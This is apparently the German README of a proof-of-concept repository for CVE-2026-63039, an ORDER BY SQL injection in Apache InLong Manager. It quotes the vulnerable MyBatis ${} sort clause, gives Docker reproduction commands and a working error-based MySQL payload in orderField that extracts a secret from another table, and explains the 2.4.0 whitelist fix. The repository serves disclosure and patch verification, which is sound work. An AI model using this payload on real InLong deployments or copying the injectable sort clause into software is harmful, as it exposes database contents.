
Proof-of-Concept für CVE-2026-63039, der eine ORDER-BY-SQL-Injection in der AuditAlertRule von Apache InLong über orderField/orderType demonstriert, mit einem Docker-basierten Reproduktionssetup und Fix-Verifizierung.
AuditAlertRule SQL-Injektion in ORDER BYAusführbarer Proof-of-Concept-Reproduktionscode für die SQL-Injektion in der Audit-Alert-Rule-Abfrage von Apache InLong.
Der InLong-Manager-Mapper AuditAlertRuleEntityMapper.selectByCondition filtert mit sicheren MyBatis-#{}-Parametern, sortiert aber mit ${}-String-Interpolation von zwei Anfragefeldern:
<!-- inlong-manager/manager-dao/src/main/resources/mappers/AuditAlertRuleEntityMapper.xml (InLong 2.0.0–2.3.x) -->
order by ${request.orderField} ${request.orderType}
orderField und orderType stammen aus der paginierten Anfrage (AuditAlertRulePageRequest), sind also angreiferkontrolliert und werden unverändert in das SQL eingefügt — SQL-Injektion in ORDER BY (CWE-89). Dieser PoC injiziert einen auf MySQL-Fehlern basierenden Payload in orderField und liest ein Geheimnis aus einer , was die Offenlegung beliebiger Daten demonstriert.
mvn -q -DskipTests package
docker compose up --build # starts MySQL, seeds it, runs the one-shot PoC
docker compose down -v
Erwartete Ausgabe auf dem verwundbaren Codepfad:
[1] Benign request (orderField='id', orderType='ASC'): 3 rows
AuditAlertRule{id=1, inlongGroupId=group_a, alertName=latency rule}
...
[2] Malicious request (orderField = error-based payload):
orderField = extractvalue(1,concat(0x7e,(select secret_value from manager_secrets limit 1)))
extracted from another table via the injected subquery: INLONG-SECRET-63039
>>> PROVEN: ... ORDER BY SQL injection (CWE-89): true
| Eigenschaft | Wert |
|---|---|
| Projekt | Apache InLong — Manager (AuditAlertRuleService / AuditAlertRuleEntityMapper) |
| Klasse | CWE-89 Unsachgemäße Neutralisierung von Sonderelementen in einem SQL-Befehl ('SQL-Injection') |
| Angriffsvektor | Die orderField- / orderType-Felder einer Audit-Alert-Rule-Seitenanfrage |
| Auswirkung | Beliebige SQL-Ausführung / Datenoffenlegung gegenüber der InLong-Manager-Datenbank |
| Betroffene Versionen | von 2.0.0 bis vor 2.4.0 |
| Behobene Version | 2.4.0 |
| Sicherheitshinweis | CVE-2026-63039 |
| Danksagung | Andrea Cosentino |
Apache InLong 2.4.0 validiert orderField / orderType anhand einer Whitelist bekannter sortierbarer Spalten und Richtungen, bevor sie den Mapper erreichen (ein ORDER BY-Spaltenname kann nicht als #{}-Parameter gebunden werden, also müssen die Sortiereingaben validiert statt parametrisiert werden).
Der MyBatis-Mapper, die Entität und das Request-Pojo in diesem Repository spiegeln die InLong-Originale wider, sodass die Injektionssenke (order by ${request.orderField} ${request.orderType}) unverändert reproduziert wird.
Dieses Repository wird zu Bildungs- und Verteidigungszwecken veröffentlicht: um Apache-InLong-Benutzern zu helfen, die Schwachstelle zu verstehen, zu überprüfen, ob sie betroffen sind, und zu bestätigen, dass ein Upgrade sie behebt. Der Payload liest lediglich ein Demo-Geheimnis aus einer lokalen Tabelle. Verwenden Sie dieses Material nicht gegen Systeme, die Sie nicht besitzen oder betreiben.